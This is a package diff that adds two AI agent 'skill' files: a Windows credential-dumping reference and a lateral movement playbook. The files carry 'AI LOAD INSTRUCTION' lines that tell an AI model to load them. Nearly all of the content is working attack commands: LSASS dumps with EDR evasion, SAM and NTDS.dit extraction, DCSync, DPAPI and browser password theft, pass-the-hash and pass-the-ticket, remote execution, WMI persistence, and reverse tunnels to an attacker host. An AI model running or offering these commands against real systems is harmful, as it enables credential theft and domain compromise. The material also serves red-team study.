ineedcodes 1.6.0 → 1.7.0

package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md

@@ -0,0 +1,308 @@
+# Credential Dumping Techniques
+
+> **AI LOAD INSTRUCTION**: Load this for LSASS dump methods, SAM/SYSTEM extraction, DPAPI secrets, cached domain credentials, and NTDS.dit extraction. Assumes the main [SKILL.md](./SKILL.md) is already loaded for lateral movement techniques.
+
+---
+
+## 1. LSASS MEMORY DUMP TECHNIQUES
+
+### Method Comparison
+
+| Method | Tool | AV Detection Risk | Requires | Notes |
+|---|---|---|---|---|
+| MiniDump (comsvcs.dll) | Built-in Windows DLL | Medium | Admin + SeDebugPrivilege | Commonly monitored |
+| ProcDump | Sysinternals (signed) | Medium-High | Admin | Microsoft-signed, but well-known |
+| Mimikatz | Custom | High | Admin + SeDebugPrivilege | Most capable, most detected |
+| nanodump | Custom | Low | Admin + SeDebugPrivilege | Uses MiniDumpWriteDump variants |
+| handlekatz | Custom | Low | Admin | Clone LSASS handle, then dump |
+| PPLdump | Custom | Low | Admin | Bypass PPL (Protected Process Light) |
+| lsassy | Remote (Impacket) | Medium | Admin SMB access | Remote dump + parse, no disk touch |
+
+### comsvcs.dll MiniDump
+
+```cmd
+# Find LSASS PID
+tasklist /fi "imagename eq lsass.exe"
+
+# Dump using comsvcs.dll (built-in Windows DLL)
+rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump PID C:\temp\lsass.dmp full
+```
+
+```powershell
+# PowerShell variant
+$lsass = Get-Process lsass
+rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass.Id C:\temp\lsass.dmp full
+```
+
+### ProcDump (Sysinternals)
+
+```cmd
+procdump -ma lsass.exe lsass.dmp -accepteula
+```
+
+### Mimikatz (Direct Memory Read)
+
+```cmd
+mimikatz # privilege::debug
+mimikatz # sekurlsa::logonpasswords
+mimikatz # sekurlsa::wdigest           & REM WDigest plaintext (if enabled)
+mimikatz # sekurlsa::kerberos          & REM Kerberos tickets
+mimikatz # sekurlsa::msv               & REM NTLM hashes
+```
+
+### nanodump (EDR Evasion)
+
+```cmd
+# Direct syscalls, unhooks NTDLL, avoids API hooks
+nanodump.exe --write C:\temp\lsass.dmp
+nanodump.exe --fork --write C:\temp\lsass.dmp   & REM Fork process first (stealthier)
+```
+
+### handlekatz
+
+```cmd
+# Clone LSASS handle from another process (avoids direct LSASS open)
+handlekatz.exe --pid LSASS_PID --outfile C:\temp\lsass.dmp
+```
+
+### Remote Dump with lsassy
+
+```bash
+# From Linux — dump and parse remotely
+lsassy -u administrator -p password TARGET_IP
+lsassy -u administrator -H NTLM_HASH TARGET_IP
+
+# Specific dump method
+lsassy -u administrator -p password TARGET_IP -m comsvcs
+lsassy -u administrator -p password TARGET_IP -m nanodump
+```
+
+### Parse Dump Offline
+
+```bash
+# Mimikatz offline parsing
+mimikatz # sekurlsa::minidump lsass.dmp
+mimikatz # sekurlsa::logonpasswords
+
+# pypykatz (Python, cross-platform)
+pypykatz lsa minidump lsass.dmp
+```
+
+---
+
+## 2. SAM / SYSTEM / SECURITY HIVE EXTRACTION
+
+### Local Extraction
+
+```cmd
+# reg save (requires admin)
+reg save HKLM\SAM C:\temp\SAM
+reg save HKLM\SYSTEM C:\temp\SYSTEM
+reg save HKLM\SECURITY C:\temp\SECURITY
+
+# Volume Shadow Copy
+vssadmin create shadow /for=C:
+copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\SAM
+copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
+```
+
+### Remote Extraction
+
+```bash
+# Impacket secretsdump (remote, in-memory)
+secretsdump.py DOMAIN/administrator:password@TARGET_IP
+
+# With hash
+secretsdump.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP
+
+# CrackMapExec
+crackmapexec smb TARGET_IP -u administrator -p password --sam
+crackmapexec smb TARGET_IP -u administrator -p password --lsa
+```
+
+### Offline Parsing
+
+```bash
+# Impacket secretsdump offline
+secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
+
+# Extract local account hashes + cached domain creds + LSA secrets
+```
+
+---
+
+## 3. DPAPI SECRETS
+
+DPAPI protects browser passwords, Wi-Fi keys, credential manager entries, and more.
+
+### Credential Manager
+
+```cmd
+# List stored credentials
+cmdkey /list
+
+# Mimikatz — dump DPAPI credentials
+mimikatz # vault::cred
+mimikatz # vault::list
+
+# Decrypt DPAPI blobs
+mimikatz # dpapi::cred /in:C:\Users\user\AppData\Local\Microsoft\Credentials\{GUID}
+```
+
+### Master Key Extraction
+
+```cmd
+# Get user's DPAPI master keys
+mimikatz # sekurlsa::dpapi
+
+# Decrypt master key with domain backup key (requires DA)
+mimikatz # lsadump::backupkeys /system:DC01.domain.com /export
+mimikatz # dpapi::masterkey /in:masterkey_file /pvk:backup_key.pvk
+```
+
+### Browser Credentials
+
+```bash
+# SharpChromium (Chrome/Edge passwords)
+SharpChromium.exe logins
+
+# SharpDPAPI (comprehensive DPAPI extraction)
+SharpDPAPI.exe triage
+SharpDPAPI.exe credentials /server:DC01.domain.com   & REM Using domain backup key
+
+# From Linux with Impacket
+dpapi.py backupkeys -t DOMAIN/administrator:password@DC01
+```
+
+---
+
+## 4. CACHED DOMAIN CREDENTIALS
+
+Windows caches the last N domain logon credentials (default: 10).
+
+```bash
+# Impacket secretsdump extracts these automatically
+secretsdump.py DOMAIN/admin:pass@TARGET -just-dc-user cachedcreds
+
+# Format: $DCC2$10240#username#hash
+# Crack with hashcat mode 2100
+hashcat -m 2100 cached.txt wordlist.txt
+```
+
+```cmd
+# Mimikatz
+mimikatz # lsadump::cache
+
+# Registry location
+# HKLM\SECURITY\Cache
+```
+
+**Note**: DCC2 hashes are slow to crack (~50k/s on GPU vs millions for NTLM).
+
+---
+
+## 5. NTDS.DIT EXTRACTION (DOMAIN CONTROLLER)
+
+### Method 1: ntdsutil (Built-in)
+
+```cmd
+# Create IFM (Install From Media) — includes NTDS.dit + SYSTEM
+ntdsutil "ac i ntds" "ifm" "create full C:\temp\ifm" quit quit
+
+# Extract from IFM
+secretsdump.py -ntds C:\temp\ifm\Active\ Directory\ntds.dit \
+  -system C:\temp\ifm\registry\SYSTEM LOCAL
+```
+
+### Method 2: Volume Shadow Copy
+
+```cmd
+vssadmin create shadow /for=C:
+copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
+copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
+```
+
+### Method 3: DCSync (No File Access Needed)
+
+```bash
+# Full dump
+secretsdump.py DOMAIN/admin:pass@DC01 -just-dc
+
+# Specific user
+secretsdump.py DOMAIN/admin:pass@DC01 -just-dc-user krbtgt
+
+# With Kerberos auth
+export KRB5CCNAME=admin.ccache
+secretsdump.py -k -no-pass DC01.domain.com -just-dc
+```
+
+### Method 4: esentutl (Copy While in Use)
+
+```cmd
+esentutl.exe /y /vss C:\Windows\NTDS\ntds.dit /d C:\temp\ntds.dit
+```
+
+### Offline Parsing
+
+```bash
+# Full extraction
+secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
+
+# With history (previous passwords)
+secretsdump.py -ntds ntds.dit -system SYSTEM -history LOCAL
+
+# Just NTLM hashes (for cracking)
+secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -outputfile domain_hashes
+```
+
+---
+
+## 6. WINDOWS CREDENTIAL LOCATIONS SUMMARY
+
+| Location | Contents | Extraction Tool |
+|---|---|---|
+| LSASS memory | NTLM hashes, Kerberos tickets, plaintext (WDigest) | Mimikatz, nanodump, lsassy |
+| SAM hive | Local account NTLM hashes | reg save + secretsdump |
+| SECURITY hive | LSA secrets, cached domain creds | reg save + secretsdump |
+| SYSTEM hive | Boot key (needed to decrypt SAM) | reg save |
+| NTDS.dit | All domain account hashes | ntdsutil, VSS, DCSync |
+| DPAPI blobs | Browser passwords, Wi-Fi keys, cred manager | SharpDPAPI, Mimikatz |
+| Credential Manager | Saved Windows credentials | cmdkey, Mimikatz |
+| Group Policy Preferences | Legacy encrypted passwords (cpassword) | gpp-decrypt |
+| Unattend.xml / sysprep | Setup passwords (base64) | Manual extraction |
+| web.config / .config | Connection strings, API keys | Manual search |
+| Registry autoruns | Service account passwords | reg query |
+
+---
+
+## 7. CREDENTIAL DUMP DECISION TREE
+
+```
+Need to extract credentials
+│
+├── Have local admin on target?
+│   ├── LSASS dump (§1)
+│   │   ├── EDR present? → nanodump or handlekatz (stealthy)
+│   │   ├── No EDR → Mimikatz or comsvcs.dll (fastest)
+│   │   └── Remote only → lsassy from Linux
+│   │
+│   ├── Local hashes → SAM/SYSTEM extraction (§2)
+│   │   ├── Local → reg save
+│   │   └── Remote → secretsdump.py or CrackMapExec --sam
+│   │
+│   └── DPAPI secrets → SharpDPAPI or Mimikatz (§3)
+│
+├── Have domain admin?
+│   ├── DCSync → secretsdump.py (§5, easiest, no file access needed)
+│   ├── NTDS.dit extraction → ntdsutil / VSS (§5)
+│   └── Domain DPAPI backup key → decrypt all user DPAPI (§3)
+│
+├── Only have SMB file access (no admin)?
+│   ├── Check for GPP passwords (cpassword in SYSVOL)
+│   ├── Check for scripts with hardcoded creds
+│   └── Check for unattend.xml / web.config files
+│
+└── Offline dump file (.dmp)?
+    ├── LSASS dump → pypykatz / Mimikatz offline (§1)
+    └── SAM+SYSTEM → secretsdump.py LOCAL (§2)
+```

package/skills/windows-lateral-movement/SKILL.md

@@ -0,0 +1,335 @@
+---
+name: windows-lateral-movement
+description: >-
+  Windows lateral movement playbook. Use when pivoting between Windows hosts via PsExec, WMI, WinRM, DCOM, RDP, pass-the-hash, overpass-the-hash, or pass-the-ticket techniques.gated: true
+---
+
+# SKILL: Windows Lateral Movement — Expert Attack Playbook
+
+> **AI LOAD INSTRUCTION**: Expert Windows lateral movement techniques. Covers PsExec, WMI, WinRM, DCOM, SMB, RDP, SSH, pass-the-hash, overpass-the-hash, pass-the-ticket, and pivoting. Base models miss execution method fingerprints, OPSEC trade-offs, and credential type requirements per method.
+
+## 0. RELATED ROUTING
+
+Before going deep, consider loading:
+
+- [windows-privilege-escalation](../windows-privilege-escalation/SKILL.md) after landing on a new host for local escalation
+- [windows-av-evasion](../windows-av-evasion/SKILL.md) when EDR blocks lateral movement tools
+- [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) for Kerberos-based lateral (pass-the-ticket, delegation)
+- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL-based paths to new hosts
+
+### Advanced Reference
+
+Also load [CREDENTIAL_DUMPING.md](./CREDENTIAL_DUMPING.md) when you need:
+- LSASS dump techniques (MiniDump, comsvcs.dll, nanodump)
+- SAM/SYSTEM/SECURITY extraction
+- DPAPI, credential manager, cached domain credentials
+- NTDS.dit extraction methods
+
+---
+
+## 1. REMOTE EXECUTION METHODS COMPARISON
+
+| Method | Port | Cred Type | Creates Service? | File on Disk? | OPSEC | Admin Required? |
+|---|---|---|---|---|---|---|
+| **PsExec** | 445 (SMB) | Password/Hash | Yes (PSEXESVC) | Yes (.exe) | Low | Yes |
+| **Impacket smbexec** | 445 | Password/Hash | Yes (temp service) | No | Medium | Yes |
+| **Impacket atexec** | 445 | Password/Hash | No (scheduled task) | No | Medium | Yes |
+| **WMI** | 135+dynamic | Password/Hash | No | No | High | Yes |
+| **WinRM** | 5985/5986 | Password/Hash/Ticket | No | No | High | Yes (Remote Mgmt) |
+| **DCOM** | 135+dynamic | Password/Hash | No | No | High | Yes |
+| **RDP** | 3389 | Password/Hash (RestrictedAdmin) | No | No | Low (GUI session) | RDP access |
+| **SSH** | 22 | Password/Key | No | No | High | SSH enabled |
+| **SC** | 445 | Password/Hash | Yes (custom service) | Yes | Low | Yes |
+
+---
+
+## 2. PSEXEC VARIANTS
+
+### Impacket PsExec
+
+```bash
+# With password
+psexec.py DOMAIN/administrator:password@TARGET_IP
+
+# With NTLM hash (pass-the-hash)
+psexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP
+
+# With Kerberos ticket
+export KRB5CCNAME=admin.ccache
+psexec.py -k -no-pass DOMAIN/administrator@target.domain.com
+```
+
+### Impacket smbexec (Stealthier — No Binary Upload)
+
+```bash
+smbexec.py DOMAIN/administrator:password@TARGET_IP
+smbexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP
+```
+
+### Impacket atexec (Scheduled Task)
+
+```bash
+atexec.py DOMAIN/administrator:password@TARGET_IP "whoami"
+atexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP "whoami"
+```
+
+### Sysinternals PsExec
+
+```cmd
+PsExec64.exe \\TARGET -u DOMAIN\administrator -p password cmd.exe
+PsExec64.exe \\TARGET -s cmd.exe    & REM Run as SYSTEM (-s)
+PsExec64.exe \\TARGET -accepteula -s -d cmd.exe /c "C:\temp\payload.exe"
+```
+
+---
+
+## 3. WMI LATERAL MOVEMENT
+
+```bash
+# Impacket wmiexec
+wmiexec.py DOMAIN/administrator:password@TARGET_IP
+wmiexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP
+
+# With Kerberos
+export KRB5CCNAME=admin.ccache
+wmiexec.py -k -no-pass DOMAIN/administrator@target.domain.com
+```
+
+```powershell
+# PowerShell WMI process creation
+Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\temp\out.txt" -ComputerName TARGET -Credential $cred
+
+# WMI event subscription persistence
+$filterArgs = @{
+    EventNamespace = 'root\cimv2'; Name = 'Updater';
+    QueryLanguage = 'WQL';
+    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
+}
+$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs
+```
+
+---
+
+## 4. WINRM LATERAL MOVEMENT
+
+```bash
+# evil-winrm (from Linux — with password)
+evil-winrm -i TARGET_IP -u administrator -p password
+
+# evil-winrm (with hash)
+evil-winrm -i TARGET_IP -u administrator -H NTLM_HASH
+
+# evil-winrm (with Kerberos)
+evil-winrm -i target.domain.com -r DOMAIN.COM
+```
+
+```powershell
+# PowerShell remoting
+$cred = Get-Credential
+Enter-PSSession -ComputerName TARGET -Credential $cred
+
+# Execute command remotely
+Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami }
+
+# Multiple targets simultaneously
+Invoke-Command -ComputerName TARGET1,TARGET2 -Credential $cred -ScriptBlock { hostname; whoami }
+```
+
+---
+
+## 5. DCOM LATERAL MOVEMENT
+
+Stealthy — uses legitimate COM objects, no service creation.
+
+### MMC20.Application
+
+```powershell
+$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET"))
+$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\temp\out.txt","7")
+```
+
+### ShellWindows
+
+```powershell
+$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","TARGET"))
+$item = $com.Item()
+$item.Document.Application.ShellExecute("cmd.exe","/c whoami > C:\temp\out.txt","C:\Windows\System32",$null,0)
+```
+
+### ShellBrowserWindow
+
+```powershell
+$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))
+$com.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)
+```
+
+### Impacket dcomexec
+
+```bash
+dcomexec.py DOMAIN/administrator:password@TARGET_IP
+dcomexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP -object MMC20
+```
+
+---
+
+## 6. PASS-THE-HASH (PTH)
+
+Use NTLM hash directly without knowing the plaintext password.
+
+```bash
+# CrackMapExec — spray/check admin access
+crackmapexec smb TARGETS -u administrator -H NTLM_HASH
+
+# Impacket tools (all support -hashes)
+psexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
+wmiexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
+smbexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
+
+# evil-winrm
+evil-winrm -i TARGET -u user -H NTLM_HASH
+
+# xfreerdp (Restricted Admin mode must be enabled)
+xfreerdp /v:TARGET /u:administrator /pth:NTLM_HASH /d:DOMAIN
+```
+
+```cmd
+# Mimikatz PTH (spawns new process with injected creds)
+sekurlsa::pth /user:administrator /domain:DOMAIN /ntlm:HASH /run:cmd.exe
+```
+
+### Enable Restricted Admin for RDP PTH
+
+```cmd
+# On target (requires admin): enable restricted admin
+reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
+```
+
+---
+
+## 7. OVERPASS-THE-HASH (PASS-THE-KEY)
+
+Convert NTLM hash → Kerberos TGT → pure Kerberos authentication.
+
+```bash
+# Request TGT with hash
+getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP
+export KRB5CCNAME=user.ccache
+
+# Or with AES256 key
+getTGT.py DOMAIN/user -aesKey AES256_KEY -dc-ip DC_IP
+
+# Use Kerberos for all subsequent tools
+psexec.py -k -no-pass DOMAIN/user@target.domain.com
+wmiexec.py -k -no-pass DOMAIN/user@target.domain.com
+```
+
+```cmd
+# Mimikatz overpass-the-hash
+sekurlsa::pth /user:user /domain:DOMAIN /ntlm:HASH /run:powershell.exe
+# New PowerShell session → klist shows Kerberos TGT
+```
+
+**Advantage**: Pure Kerberos auth avoids NTLM logging and detection.
+
+---
+
+## 8. PASS-THE-TICKET
+
+```bash
+# Use existing .ccache ticket
+export KRB5CCNAME=/path/to/admin.ccache
+psexec.py -k -no-pass DOMAIN/admin@target.domain.com
+```
+
+```cmd
+# Mimikatz — inject .kirbi ticket
+kerberos::ptt ticket.kirbi
+# Verify
+klist
+
+# Rubeus
+Rubeus.exe ptt /ticket:base64_blob
+```
+
+---
+
+## 9. PIVOTING THROUGH COMPROMISED HOSTS
+
+### SSH Tunnel / Port Forward
+
+```bash
+# Dynamic SOCKS proxy through compromised host
+ssh -D 1080 user@COMPROMISED_HOST
+# Use with proxychains
+
+# Local port forward (access internal service)
+ssh -L 8888:INTERNAL_TARGET:445 user@COMPROMISED_HOST
+```
+
+### Chisel (No SSH Needed)
+
+```bash
+# On attacker (server)
+chisel server --reverse -p 8080
+
+# On compromised host (client)
+chisel client ATTACKER:8080 R:socks
+# Creates SOCKS5 proxy on attacker's port 1080
+```
+
+### Ligolo-ng (Modern, Fast)
+
+```bash
+# On attacker
+ligolo-proxy -selfcert -laddr 0.0.0.0:11601
+
+# On compromised host
+ligolo-agent -connect ATTACKER:11601 -retry -ignore-cert
+
+# In ligolo console
+session          # Select agent
+start            # Start tunnel
+# Add route: sudo ip route add INTERNAL_SUBNET/24 dev ligolo
+```
+
+---
+
+## 10. LATERAL MOVEMENT DECISION TREE
+
+```
+Have credentials / hash — need to move laterally
+│
+├── What credentials do you have?
+│   ├── Plaintext password → any method
+│   ├── NTLM hash → PTH methods (§6)
+│   │   ├── Need stealthier? → Overpass-the-Hash first (§7)
+│   │   └── Direct use → psexec/wmiexec/evil-winrm with -H
+│   ├── Kerberos ticket → Pass-the-Ticket (§8)
+│   └── AES key → Overpass-the-Hash with -aesKey (§7)
+│
+├── OPSEC priority?
+│   ├── High stealth needed
+│   │   ├── WMI (no file on disk, no service) → wmiexec (§3)
+│   │   ├── DCOM (uses legitimate COM) → dcomexec (§5)
+│   │   └── WinRM (PowerShell remoting) → evil-winrm (§4)
+│   ├── Moderate stealth
+│   │   ├── smbexec (no binary upload) (§2)
+│   │   └── atexec (scheduled task, auto-cleanup) (§2)
+│   └── Low stealth acceptable
+│       ├── PsExec (reliable, creates service) (§2)
+│       └── RDP (interactive GUI) (§6)
+│
+├── Need to pivot to internal network?
+│   ├── SSH available → SSH tunnel / SOCKS (§9)
+│   ├── No SSH → Chisel or Ligolo-ng (§9)
+│   └── Multiple hops → chain SOCKS proxies
+│
+├── Target hardening?
+│   ├── SMB signing required → WMI, WinRM, or DCOM
+│   ├── WinRM disabled → WMI or DCOM
+│   ├── Firewall blocks 135/445 → RDP or SSH
+│   └── Restricted Admin disabled → no RDP PTH → use other methods
+│
+└── Need to dump creds on new host?
+    └── Load CREDENTIAL_DUMPING.md
+```